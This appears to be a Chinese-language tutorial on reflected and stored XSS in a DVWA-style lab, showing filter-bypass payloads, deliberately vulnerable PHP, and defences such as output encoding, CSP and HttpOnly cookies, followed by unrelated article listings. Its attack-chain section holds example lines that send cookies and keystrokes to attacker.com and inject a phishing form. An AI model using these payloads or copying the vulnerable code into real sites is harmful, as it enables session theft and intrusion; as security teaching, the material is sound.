news 2026/10/15 22:41:59

XSS跨站脚本攻击

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
XSS跨站脚本攻击

XSS类型概述

三种XSS类型:

  • 反射型:最常见,非持久化
  • 存储型:最危险,持久化存储
  • DOM型:基于前端JavaScript,本文不涉及

反射型XSS(Reflected XSS)

标准测试Payload

<script>alert(1)</script><script>alert('XSS')</script>

单引号和双引号都可以使用。

漏洞识别

测试流程:

1. 输入框输入: zengjun 2. 页面返回: Hello zengjun 3. 查看源代码: <pre>Hello zengjun</pre> 4. 观察输入点位置和闭合方式

判断标准:用户输入直接反映在HTML中。

Low级别攻击

Payload:

zeng<script>alert('XSS')</script>jun

原理:

<!-- 后端代码 --><?php $name = $_GET['name']; echo "<pre>Hello " . $name . "</pre>"; ?><!-- 渲染结果 --><pre>Hello zeng<script>alert('XSS')</script>jun</pre>

浏览器解析HTML时会执行<script>标签中的JavaScript代码。

Medium级别绕过

防护代码:

$name=str_replace('<script>','',$_GET['name']);

绕过方法1:双写绕过

<sc<script>ript>alert(1)</script>

原理:

输入: <sc<script>ript>alert(1)</script> 过滤: <sc ript>alert(1)</script> (中间的<script>被删除) 结果: <script>alert(1)</script>

绕过方法2:大小写绕过

<sCRipt>alert(1)</script><SCRIPT>alert(1)</SCRIPT>

原理:HTML不区分标签大小写,但str_replace区分。

High级别绕过

防护代码:

$name=preg_replace('/<script\b[^>]*>(.*?)<\/script>/is',"",$_GET['name']);

使用正则表达式过滤所有<script>标签(包括大小写和嵌套)。

绕过方法:利用其他HTML事件

<imgsrc='x'onerror='alert(1)'/>

原理:

  • src='x'- 图片路径不存在,加载失败
  • onerror- 加载失败时触发事件
  • 执行JavaScript代码

其他可用事件:

<imgsrc='x'onmouseover='alert(1)'/><!-- 鼠标悬停 --><imgsrc='x'onmousedown='alert(1)'/><!-- 鼠标按下 --><imgsrc='x'onmouseup='alert(1)'/><!-- 鼠标松开 --><bodyonload='alert(1)'><!-- 页面加载 --><inputonfocus='alert(1)'><!-- 获得焦点 -->

Impossible级别(完美防护)

<?php$name=htmlspecialchars($_GET['name']);?>

htmlspecialchars()函数:

< 转换为 &lt; > 转换为 &gt; " 转换为 &quot; ' 转换为 &#039; & 转换为 &amp;

效果:所有HTML标签都被转义为实体编码,作为纯文本显示。

输入:<script>alert(1)</script>输出:&lt;script&gt;alert(1)&lt;/script&gt;显示:<script>alert(1)</script>(纯文本,不执行)

存储型XSS(Stored XSS)

危害分析

为什么更危险:

  • 持久化存储:保存在数据库中
  • 影响范围广:所有访问者都会中招
  • 隐蔽性强:不需要诱导点击

常见场景:

  • 在线留言板
  • 论坛评论
  • 用户资料页
  • 直播弹幕

Low级别攻击

测试步骤:

Name: xiaoli Message: <script>alert('Stored XSS')</script> 点击Sign Guestbook

效果:每个访问留言板的用户都会触发弹窗。

后端代码:

<?php$name=$_POST['txtName'];$message=$_POST['mtxMessage'];$query="INSERT INTO guestbook (name, comment) VALUES ('$name', '$message')";mysqli_query($conn,$query);?>

完全没有过滤,直接存入数据库。

Medium级别绕过

防护代码:

$name=strip_tags($_POST['txtName']);// 移除HTML标签$message=$_POST['mtxMessage'];// 留言板不过滤

问题:

  • Name字段有字符长度限制(前端)
  • Message字段无过滤

绕过方法:抓包修改

1. 输入任意内容并提交 2. Burp Suite抓包 3. 修改Name字段: txtName=<sc<script>ript>alert(1)</script> 4. Forward放行

High级别绕过

防护代码:

$name=preg_replace('/<script\b[^>]*>(.*?)<\/script>/is','',$_POST['txtName']);$message=preg_replace('/<script\b[^>]*>(.*?)<\/script>/is','',$_POST['mtxMessage']);

绕过方法:

<imgsrc='x'onerror='alert(1)'/>

在Name字段通过抓包修改即可。

XSS攻击链

完整攻击流程:

// 1. 窃取Cookie<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>// 2. 键盘记录<script>document.onkeypress=function(e){fetch('http://attacker.com/log.php?key='+e.key);}</script>// 3. 网络钓鱼<script>document.body.innerHTML='<form action="http://attacker.com/phish.php">...';</script>

XSS防护完整方案

输入验证:

// 白名单验证if(!preg_match('/^[a-zA-Z0-9_]+$/',$input)){die("非法字符");}

输出编码:

// HTML上下文echohtmlspecialchars($input,ENT_QUOTES,'UTF-8');// JavaScript上下文echojson_encode($input);// URL上下文echourlencode($input);

Content Security Policy:

<metahttp-equiv="Content-Security-Policy"content="default-src'self'; script-src'self'">

HttpOnly Cookie:

setcookie('session',$value,['httponly'=>true,// 防止JavaScript访问'secure'=>true,// 仅HTTPS传输'samesite'=>'Strict']);
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/14 17:30:08

MATLAB多列图例函数columnlegend详解与实现

引言 在MATLAB绘图中,当曲线或图例项数量较多时,默认的legend函数只会生成单列图例,导致图例框过长,甚至遮挡图形内容或超出图形区域。这时,我们希望能将图例排列成多列形式,既美观又节省空间。然而,MATLAB原生legend并不直接支持多列布局。 columnlegend 就是一个非常…

作者头像 李华
网站建设 2026/10/14 19:00:06

Keil uVision5嵌入式C开发:新手教程(从零配置环境)

从零开始搭建 Keil uVision5 嵌入式开发环境&#xff1a;新手也能看懂的实战指南 你是不是也曾经面对一块 STM32 开发板&#xff0c;手握资料却无从下手&#xff1f;打开 Keil 看着一堆弹窗和选项&#xff0c;心里直打鼓&#xff1a;“这玩意儿到底怎么用&#xff1f;”别急—…

作者头像 李华
网站建设 2026/10/14 16:24:13

javascript数据类型转换-转换为数字型

第一种转换方式&#xff0c;使用Number语法是Number(数据或者存储数据的变量)let a 12 console.log(Number(a),typeof Number(a))如果是不能转换的类型&#xff0c;返回值是NaN如果内容是空&#xff0c;返回值是0如果转换的是布尔值&#xff0c;true返回1&#xff0c;false返回…

作者头像 李华
网站建设 2026/10/15 6:11:47

ST7789V硬件时序详解:系统学习初始化流程

深入ST7789V&#xff1a;从硬件时序到初始化流程的系统性解析在嵌入式显示开发中&#xff0c;点亮一块屏幕看似简单——接上电源、写几条命令、刷点颜色。但当你真正动手时&#xff0c;却常常遇到花屏、黑屏、白屏、颜色错乱等问题。这些问题的背后&#xff0c;往往不是代码写错…

作者头像 李华
网站建设 2026/10/15 5:03:13

Linux驱动开发八股文:工作队列(Workqueue)

&#x1f4da; Linux 驱动开发笔记&#xff1a;工作队列 (Workqueue) 一、 核心定义 工作队列是 Linux 内核中断下半部&#xff08;Bottom Half&#xff09;的一种重要机制。它允许你将耗时的、需要等待资源或可能导致休眠的任务&#xff0c;从中断处理函数&#xff08;ISR&…

作者头像 李华
网站建设 2026/10/15 8:12:02

PostgreSQL 图数据库化方案:Apache AGE 的引入与实践

一、介绍图数据库擅长处理复杂关联关系&#xff0c;而 PostgreSQL 擅长事务型数据管理。Apache AGE 通过扩展方式将图数据库能力引入 PostgreSQL&#xff0c;使其在保持原有稳定性与生态优势的同时&#xff0c;补齐了图数据建模与查询能力的短板。这种“关系型数据库 图模型”…

作者头像 李华